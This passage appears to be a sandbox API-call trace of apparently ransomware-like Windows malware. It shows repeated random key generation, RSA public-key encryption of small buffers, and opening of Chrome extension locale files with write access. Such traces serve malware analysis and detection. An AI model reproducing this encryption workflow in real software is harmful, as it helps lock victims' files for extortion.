dwFlags=0x0) returned 1 [0239.897] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0239.899] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ac878) returned 1 [0239.899] CryptGetKeyParam (in: hKey=0x66ac878, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.899] CryptEncrypt (in: hKey=0x66ac878, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa360000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xa360000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0239.900] GetLastError () returned 0x0 [0239.900] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.900] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0239.901] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66acf78) returned 1 [0239.901] CryptGetKeyParam (in: hKey=0x66acf78, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.902] CryptEncrypt (in: hKey=0x66acf78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa370000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xa370000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0239.902] GetLastError () returned 0x0 [0239.902] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.902] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_US\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_us\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0239.903] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0239.905] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.907] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.907] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0239.907] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0239.907] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0239.909] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.911] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.911] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0239.911] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0239.911] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0239.913] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66acfb8) returned 1 [0239.913] CryptGetKeyParam (in: hKey=0x66acfb8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.913] CryptEncrypt (in: hKey=0x66acfb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa380000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xa380000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0239.913] GetLastError () returned 0x0 [0239.913] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.913] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0239.915] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ac8f8) returned 1 [0239.915] CryptGetKeyParam (in: hKey=0x66ac8f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.915] CryptEncrypt (in: hKey=0x66ac8f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa390000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xa390000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0239.915] GetLastError () returned 0x0 [0239.915] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.915] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0239.917] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0239.919] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.921] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.921] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0239.921] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.921] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0239.923] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.925] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.925] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0239.925] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.925] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0239.927] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ac938) returned 1 [0239.927] CryptGetKeyParam (in: hKey=0x66ac938, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.927] CryptEncrypt (in: hKey=0x66ac938, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa3a0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xa3a0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0239.927] GetLastError () returned 0x0 [0239.927] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0239.927] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0239.929] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66acaf8) returned 1 [0239.929] CryptGetKeyParam (in: hKey=0x66acaf8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.929] CryptEncrypt (in: hKey=0x66acaf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa3b0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xa3b0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0239.929] GetLastError () returned 0x0 [0239.929] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0239.929] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es_419\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es_419\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0239.930] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0239.932] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.934] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.934] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0239.934] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.934] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0239.936] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.938] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.938] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0239.938] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.939] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0239.941] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ac9b8) returned 1 [0239.941] CryptGetKeyParam (in: hKey=0x66ac9b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.941] CryptEncrypt (in: hKey=0x66ac9b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa3c0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xa3c0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0239.941] GetLastError () returned 0x0 [0239.941] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.941] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0239.943] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66aca38) returned 1 [0239.943] CryptGetKeyParam (in: hKey=0x66aca38, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.943] CryptEncrypt (in: hKey=0x66aca38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa3d0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xa3d0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0239.943] GetLastError () returned 0x0 [0239.943] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.943] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\et\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\et\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0239.944] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0239.947] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.949] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.949] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0239.949] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0239.949] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0239.951] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.955] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.955] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0239.955] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.956] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0239.958] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ad7f8) returned 1 [0239.958] CryptGetKeyParam (in: hKey=0x66ad7f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.958] CryptEncrypt (in: hKey=0x66ad7f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa3e0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xa3e0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0239.958] GetLastError () returned 0x0 [0239.958] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0239.958] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0239.960] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ad138) returned 1 [0239.960] CryptGetKeyParam (in: hKey=0x66ad138, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.960] CryptEncrypt (in: hKey=0x66ad138, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa3f0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xa3f0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0239.960] GetLastError () returned 0x0 [0239.960] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0239.961] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\eu\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\eu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0239.961] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0239.964] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.966] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.966] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0239.966] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0239.966] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0239.969] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.971] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.971] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0239.971] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.971] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0239.974] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ad078) returned 1 [0239.974] CryptGetKeyParam (in: hKey=0x66ad078, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.974] CryptEncrypt (in: hKey=0x66ad078, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa400000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xa400000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0239.974] GetLastError () returned 0x0 [0239.974] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.974] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0239.976] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ad4f8) returned 1 [0239.976] CryptGetKeyParam (in: hKey=0x66ad4f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.976] CryptEncrypt (in: hKey=0x66ad4f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa410000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xa410000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0239.976] GetLastError () returned 0x0 [0239.976] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0239.976] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fa\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fa\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0239.977] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0239.979] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.981] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.981] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0239.981] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0239.981] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0239.983] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.985] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.985] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0239.985] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.985] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0239.987] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ad2b8) returned 1 [0239.987] CryptGetKeyParam (in: hKey=0x66ad2b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.987] CryptEncrypt (in: hKey=0x66ad2b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa420000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xa420000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0239.988] GetLastError () returned 0x0 [0239.988] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.988] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0239.989] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ad3b8) returned 1 [0239.989] CryptGetKeyParam (in: hKey=0x66ad3b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0239.989] CryptEncrypt (in: hKey=0x66ad3b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa430000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xa430000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0239.990] GetLastError () returned 0x0 [0239.990] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.990] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0239.990] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0239.992] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.994] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.994] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0239.994] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.994] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0239.996] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.998] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.998] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0239.998] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.998] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0240.000] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ad2f8) returned 1 [0240.000] CryptGetKeyParam (in: hKey=0x66ad2f8, dwParam=0x8, 